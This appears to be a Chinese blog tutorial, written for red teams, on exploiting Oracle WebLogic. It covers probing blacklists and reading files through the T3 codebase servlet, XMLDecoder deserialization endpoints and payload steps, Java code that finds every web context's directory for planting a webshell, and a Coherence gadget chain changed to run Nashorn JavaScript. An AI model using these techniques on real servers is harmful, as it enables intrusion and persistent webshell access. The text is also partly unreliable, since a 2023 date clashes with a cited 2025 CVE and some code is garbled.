weblogic攻击手法有哪些
发布时间 - 2023-05-16 00:00:00 点击率:次简介
weblogic服务器的特点为架构庞大复杂,蓝队一般很难防御,且多部署于外网。而且weblogic的攻击成本比较低,只要存在漏洞,一般可以直接获取目标服务器的root权限。在攻防演习中被各大攻击队,防守方重点关注。
当然,目前网上公开的各种exp程序,当然也包括我自己的工具,或多或少都有点问题。于是近期在朋友的要求下,整理了部分攻击方法以及”完美“利用。红队可以用来完善自己的工具,蓝队可以用来写溯源报告。
一、探测weblogic是否存在漏洞
目前网上公开的资料中,没有一种比较好的方法去判断weblogic是否存在漏洞。通常各类工具做法是用exp打一遍,如果成功了则自然存在漏洞,如果失败了则不存在漏洞。再或者,通过dnslog的方式去探测。这两种方法受限于各种因素,导致漏报误报的比例很高。还有可能触发蜜罐,waf等等安全设备的规则。
当然在这里我介绍一种更简便的方式去查看是否存在漏洞,那就是利用T3 RMI的CODEBASE功能查看weblogic的黑名单 。
codebase: 简单说,codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。
那我们是不是可以发散一下思维,如果这个类是weblogic的黑名单类呢??而且weblogic的codebase利用http协议去传输类。
利用方法如下,使用你的浏览器,确认好对方是weblogic服务器后,url如下
T3反序列化的黑名单
http://xx:7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.classxmldecoder 黑名单
http://192.168.119.130:8088//bea_wls_internal/classes/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class
1.1 T3 codebase分析
在weblogic.rjvm.InternalWebAppListener#contextInitialized处代码,注册处理codebase的代码,也就是请求路径为classes
if(!server.isClasspathServletDisabled()) {
servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"});
}下面我们来看一下weblogic.servlet.ClasspathServlet的处理代码,很简单,就是读取类名然后写入到http响应中。
当然,这里是不是也存在任意文件读取漏洞呢?答案是的,只不过有一个黑名单,禁止某些后缀的文件被读取。黑名单列表如下
理论上讲,你也可以通过CODEBASE去读取用户的类下载到本地做代码分析。前提是你需要知道用户的类名是什么。当然,也有黑名单,黑名单如下
二、weblogic xmldecoder反序列化漏洞
漏洞不做过多介绍,在这里不谈该漏洞的成因原理以及分析。
漏洞探测的url
/wls-wsat/CoordinatorPortType
RegistrationPortTypeRPC
ParticipantPortType
RegistrationRequesterPortType
CoordinatorPortType11
RegistrationPortTypeRPC11
ParticipantPortType11
RegistrationRequesterPortType11
该漏洞利用的难点我认为有如下几个方面
1.网上只有回显代码,没有利用代码,例如内存马
2.写马的话,可能会遇到路径的问题。wenlogic的路径为随机,目前网上公开的解决办法是爆破。
3.怎么寻找所有的Context?
下面我们来一一解决,以weblogic 10.x的exp为例
xmldecoder的xml payload做了以下的工作
1.调用weblogic.utils.Hex.fromHexString函数,将hex编码的class文件转换为二进制格式
2.调用org.mozilla.classfile.DefiningClassLoader的defineClass方法,将上面的class文件加载到虚拟机中
3.调用newInstance方法生成上面被添加至JVM的类的实例
4.调用实例的方法以完成攻击
payload其实你知道稍微看一下,就知道xmldecoder的写法,这里就不再赘述
上面所有的问题,其实都可以归结为一个问题,那就是怎么寻找weblogic下,所有web应用的上下文?
在这里我公开一个方法,该方法在weblogic 10/12下经过测试,且不受协议影响,也就是说,你只要能在weblogic里执行代码,我就可以获取weblogic所有的webcontext。 代码如下
java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
List list = new java.util.ArrayList();
StringBuilder sb = new StringBuilder();
for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
childrenF.setAccessible(true);
java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime);
java.util.Iterator iterator = set.iterator();
while(iterator.hasNext()) {
Object key = iterator.next();
if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {
Field contextF = key.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext context = (WebAppServletContext) contextF.get(key);
list.add(context);
}
}
}
returnlist; 2.1 获取随机路径
利用上面的代码,获取到weblogic 加载的所有的web context后,我们可以调用context.getRootTempDir().getAbsolutePath()方法去获取目录的位置,然后写入webshell。
我的代码如下
Listcontexts = findA llContext(); Iterator
i = contexts.iterator(); StringBuilder sb = new StringBuilder(); while(i.hasNext()) { WebAppServletContext context = i.next(); sb.append(String.format("name %30s\turl %30s\tDocroot %s\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath())); } returnnew ByteArrayInputStream((sb.toString()).getBytes());
截图如下
2.2 weblogic 12.x payload
weblogic 12.x 中,没有org.mozilla.classfile.DefiningClassLoader这个类,况且我也不太喜欢这种不灵活的方式去写exp。在这里我换一种方式,那就是通过java调用js。
从 JDK 1.8 开始,Nashorn取代Rhino(JDK 1.6, JDK1.7) 成为 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 规范以及一些扩展。它使用基于 JSR 292 的新语言特性,其中包含在 JDK 7 中引入的 invokedynamic,将 JavaScript 编译成 Java 字节码。
注意,不支持1.5以及1.5以下的JVM
在java执行js时,可以调用任意java对象,方法,类。需要注意的是,java是强类型语言,而js是弱类型语言,js有的时候可能会代码意想不到的类型转换。这里需要注意
只需要将上面加载context的代码,改成js就可以,在这里我贴一张截图
在nashorn中,默认最后一个变量作为调用本次js的返回值
三、weblogic T3反序列化
在这里我推荐一下r4v3zn老哥的weblogic-framework 利用工具, 。当然也有一点点bug,不过这是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework
漏洞探测的话,参考前面的黑名单下载方式
当然,T3反序列化中也有很多坑,例如 cve-2025-2555 等,无法做到类似于CC链的任意代码执行,目前同行的大部分做法是上传一个jar至tmp目录或者通过urlclassloader去远程加载jar包,部署恶意代码。
但是我们依旧可以通过反序列化的链式执行,调用nashorn的方式,间接做到任意代码执行。
而我们待执行的js,通过反射调用javaassist包去组装一个ClusterMasterRemote类并绑定JNDI实例以作回显。js代码如下
image-20250329124124530132
当然,corherence gadget处需要修改成如下
private static ChainedExtractor getChainedExtractor() {
returnnew ChainedExtractor(new ReflectionExtractor[]{
new ReflectionExtractor(
"newInstance", new Object[]{}
),
new ReflectionExtractor(
"getEngineByName", new Object[]{"nashorn"}
),
new ReflectionExtractor(
"eval", new Object[]{getJsCode()}
)
});
}
# Java
# JavaScript
# 架构
# ecmascript
# jvm
# servlet
# xml
# class
# 类型转换
# JS
# 对象
# github
# http
# https
# bug
# 在这
# 序列化
# 里我
# 自己的
# 加载
# 也有
# 是否存在
# 网上
# 可以通过
# 链式
相关栏目:
【
网站优化151355 】
【
网络推广146373 】
【
网络技术251813 】
【
AI营销90571 】
相关推荐:
如何在万网开始建站?分步指南解析
Laravel如何实现API版本控制_Laravel版本化API设计方案
PHP怎么接收前端传的文件路径_处理文件路径参数接收方法【汇总】
实例解析Array和String方法
详解jQuery中的事件
HTML5空格和margin有啥区别_空格与外边距的使用场景【说明】
如何在 React 中条件性地遍历数组并渲染元素
laravel怎么配置Redis作为缓存驱动_laravel Redis缓存配置教程
Laravel队列由Redis驱动怎么配置_Laravel Redis队列使用教程
javascript基于原型链的继承及call和apply函数用法分析
如何自定义建站之星网站的导航菜单样式?
详解vue.js组件化开发实践
高防服务器如何保障网站安全无虞?
南京网站制作费用,南京远驱官方网站?
如何用狗爹虚拟主机快速搭建网站?
Laravel如何使用软删除(Soft Deletes)功能_Eloquent软删除与数据恢复方法
JS碰撞运动实现方法详解
标题:Vue + Vuex 项目中正确使用 JWT 进行身份认证的实践指南
青岛网站建设如何选择本地服务器?
Python面向对象测试方法_mock解析【教程】
JavaScript中的标签模板是什么_它如何扩展字符串功能
JavaScript如何实现错误处理_try...catch如何捕获异常?
小视频制作网站有哪些,有什么看国内小视频的网站,求推荐?
Laravel如何实现文件上传和存储?(本地与S3配置)
矢量图网站制作软件,用千图网的一张矢量图做公司app首页,该网站并未说明版权等问题,这样做算不算侵权?应该如何解决?
laravel怎么在请求结束后执行任务(Terminable Middleware)_laravel Terminable Middleware请求结束任务执行方法
Laravel如何与Pusher实现实时通信?(WebSocket示例)
Laravel如何实现密码重置功能_Laravel密码找回与重置流程
Laravel Blade组件怎么用_Laravel可复用视图组件的创建与使用
如何用已有域名快速搭建网站?
免费的流程图制作网站有哪些,2025年教师初级职称申报网上流程?
如何破解联通资金短缺导致的基站建设难题?
如何在建站之星网店版论坛获取技术支持?
Laravel如何使用Telescope进行调试?(安装和使用教程)
php静态变量怎么调试_php静态变量作用域调试技巧【解答】
Swift中swift中的switch 语句
如何用虚拟主机快速搭建网站?详细步骤解析
mc皮肤壁纸制作器,苹果平板怎么设置自己想要的壁纸我的世界?
LinuxShell函数封装方法_脚本复用设计思路【教程】
北京网站制作费用多少,建立一个公司网站的费用.有哪些部分,分别要多少钱?
zabbix利用python脚本发送报警邮件的方法
Laravel如何配置中间件Middleware_Laravel自定义中间件拦截请求与权限校验【步骤】
网站制作软件免费下载安装,有哪些免费下载的软件网站?
Python自然语言搜索引擎项目教程_倒排索引查询优化案例
微信小程序 五星评分(包括半颗星评分)实例代码
如何在Windows环境下新建FTP站点并设置权限?
Laravel怎么调用外部API_Laravel Http Client客户端使用
Laravel怎么做数据加密_Laravel内置Crypt门面的加密与解密功能
装修招标网站设计制作流程,装修招标流程?
浅谈redis在项目中的应用


llContext();
Iterator